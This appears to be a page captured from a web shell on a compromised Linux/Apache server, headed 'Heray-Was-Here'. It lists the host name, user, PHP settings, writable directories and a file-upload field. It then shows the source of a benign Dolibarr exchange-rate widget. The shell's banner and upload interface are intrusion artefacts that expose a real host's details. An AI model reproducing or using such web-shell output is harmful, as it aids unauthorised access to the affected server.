Heray-Was-Here
Server : Apache
System : Linux mail.lomejor.cr 6.8.0-1059-azure #65~22.04.1-Ubuntu SMP Thu May 28 16:59:19 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.2.31
Disable Function : NONE
Directory :  /var/www/dev/htdocs/custom/crindicadores/core/boxes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/dev/htdocs/custom/crindicadores/core/boxes/CRIndicadoreswidget.php
<?php
/* Copyright (C) 2004-2017  Laurent Destailleur <eldy@users.sourceforge.net>
 * Copyright (C) 2018-2021  Frédéric France     <frederic.france@netlogic.fr>
 * Copyright (C) 2022 Randall MORA <rmora@dps-lat.com>
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program.  If not, see <https://www.gnu.org/licenses/>.
 */

/**
 * \file    crindicadores/core/boxes/crindicadoreswidget.php
 * \ingroup crindicadores
 * \brief   Widget provided by crindicadores
 *
 * Put detailed description here.
 */

include_once DOL_DOCUMENT_ROOT."/core/boxes/modules_boxes.php";
include_once DOL_DOCUMENT_ROOT.'/multicurrency/class/multicurrency.class.php';

/**
 * Class to manage the box
 *
 * Warning: for the box to be detected correctly by dolibarr,
 * the filename should be the lowercase classname
 */
class crindicadoreswidget extends ModeleBoxes
{
	/**
	 * @var string Alphanumeric ID. Populated by the constructor.
	 */
	public $boxcode = "crindicadoresbox";

	/**
	 * @var string Box icon (in configuration page)
	 * Automatically calls the icon named with the corresponding "object_" prefix
	 */
	public $boximg = "crindicadores@crindicadores";

	/**
	 * @var string Box label (in configuration page)
	 */
	public $boxlabel;

	/**
	 * @var string[] Module dependencies
	 */
	public $depends = array('crindicadores');

	/**
	 * @var DoliDb Database handler
	 */
	public $db;

	/**
	 * @var mixed More parameters
	 */
	public $param;

	/**
	 * @var array Header informations. Usually created at runtime by loadBox().
	 */
	public $info_box_head = array();

	/**
	 * @var array Contents informations. Usually created at runtime by loadBox().
	 */
	public $info_box_contents = array();

	/**
	 * @var string 	Widget type ('graph' means the widget is a graph widget)
	 */
	public $widgettype = 'graph';


	/**
	 * Constructor
	 *
	 * @param DoliDB $db Database handler
	 * @param string $param More parameters
	 */
	public function __construct(DoliDB $db, $param = '')
	{
		global $user, $conf, $langs;
		// Translations
		$langs->loadLangs(array("boxes", "crindicadores@crindicadores"));

		parent::__construct($db, $param);

		$this->boxlabel = $langs->transnoentitiesnoconv("Tasas de Cambio");

		$this->param = $param;

		$this->enabled = $conf->multicurrency->enabled > 0;         // Condition when module is enabled or not
		//$this->hidden = ! ($user->rights->crindicadores->myobject->read);   // Condition when module is visible by user (test on permission)
	}

	/**
	 * Load data into info_box_contents array to show array later. Called by Dolibarr before displaying the box.
	 *
	 * @param int $max Maximum number of records to load
	 * @return void
	 */
	public function loadBox($max = 5)
	{
    	global $user, $langs, $db, $conf;

		// Use configuration value for max lines count
		$this->max = $max;

		$sql = "SELECT m.code, m.name, max(mr.rowid), mr.rate, ";
		$sql .= "1/mr.rate hr, mr.date_sync ";
		$sql .= "FROM ".MAIN_DB_PREFIX."multicurrency_rate mr ";
		$sql .= "INNER JOIN ".MAIN_DB_PREFIX."multicurrency m ";
		$sql .= "ON (m.rowid = mr.fk_multicurrency) ";
		$sql .= "WHERE  mr.date_sync = (SELECT max(date_sync) FROM ".MAIN_DB_PREFIX."multicurrency_rate WHERE fk_multicurrency = mr.fk_multicurrency) ";
		$sql .= "GROUP BY mr.fk_multicurrency";
		$resql = $db->query($sql);
		if ($resql) {
        	$num = $db->num_rows($resql);
        	$line =array();
			if ($num) {
            	$i = 0;
				while ($i < $num) {
					$obj = $db->fetch_object($resql);
					$line[$i]=array( // First line
                				0 => array( // First Column
                    				//  HTML properties of the TR element. Only available on the first column.
                   					'tr' => 'class="left"',
                    				// HTML properties of the TD element
                    				'td' => '',
                    				// Main text for content of cell
                    				'text' => $obj->name,
                    				// Link on 'text' and 'logo' elements
                    				'url' => 'multicurrency/multicurrency_rate.php?search_code='.$obj->code,
                    				// Link's target HTML property
                    				'target' => '',
                    				// Fist line logo (deprecated. Include instead logo html code into text or text2, and set asis property to true to avoid HTML cleaning)
                    				//'logo' => 'monmodule@monmodule',
                    				// Unformatted text, added after text. Usefull to add/load javascript code
                    				'textnoformat' => '',
                    				// Main text for content of cell (other method)
                    				//'text2' => '<p><strong>Another text</strong></p>',

                    				// Truncates 'text' element to the specified character length, 0 = disabled
                    				'maxlength' => 0,
                    				// Prevents HTML cleaning (and truncation)
                    				'asis' => false,
                    				// Same for 'text2'
                    				'asis2' => true
                				),
                				1 => array( // Another column
                    				// No TR for n≠0
                    				'td' => '',
                    				'text' => dol_print_date($obj->date_sync,"%d/%m/%Y %H:%M:%S"),
                				),
                    			2 => array( // Another column
                    				// No TR for n≠0
                    				'td' => '',
                    				'text' => price2num($obj->hr),
                				)
            			);
					$i++;
				}
			}
        }
		//dol_include_once("/crindicadores/class/crindicadores.class.php");

		// Populate the head at runtime
		$text = $langs->trans("Tasas de Cambio", $max);

		$this->info_box_head = array(
			// Title text
			'text' => $text,
			// Add a link
			'sublink' => 'multicurrency/multicurrency_rate.php',
			// Sublink icon placed after the text
			//'subpicto' => 'object_crindicadores@crindicadores',
			// Sublink icon HTML alt text
			'subtext' => '',
			// Sublink HTML target
			'target' => '',
			// HTML class attached to the picto and link
			'subclass' => 'center',
			// Limit and truncate with "…" the displayed text lenght, 0 = disabled
			'limit' => 0,
			// Adds translated " (Graph)" to a hidden form value's input (?)
			'graph' => false
		);
  //  echo '<pre>';
//var_dump($line);
		// Populate the contents at runtime
		$this->info_box_contents = $line;
	}

	/**
	 * Method to show box. Called by Dolibarr eatch time it wants to display the box.
	 *
	 * @param array $head       Array with properties of box title
	 * @param array $contents   Array with properties of box lines
	 * @param int   $nooutput   No print, only return string
	 * @return string
	 */
	public function showBox($head = null, $contents = null, $nooutput = 0)
	{
		// You may make your own code here…
		// … or use the parent's class function using the provided head and contents templates
		return parent::showBox($this->info_box_head, $this->info_box_contents, $nooutput);
	}
}

Hry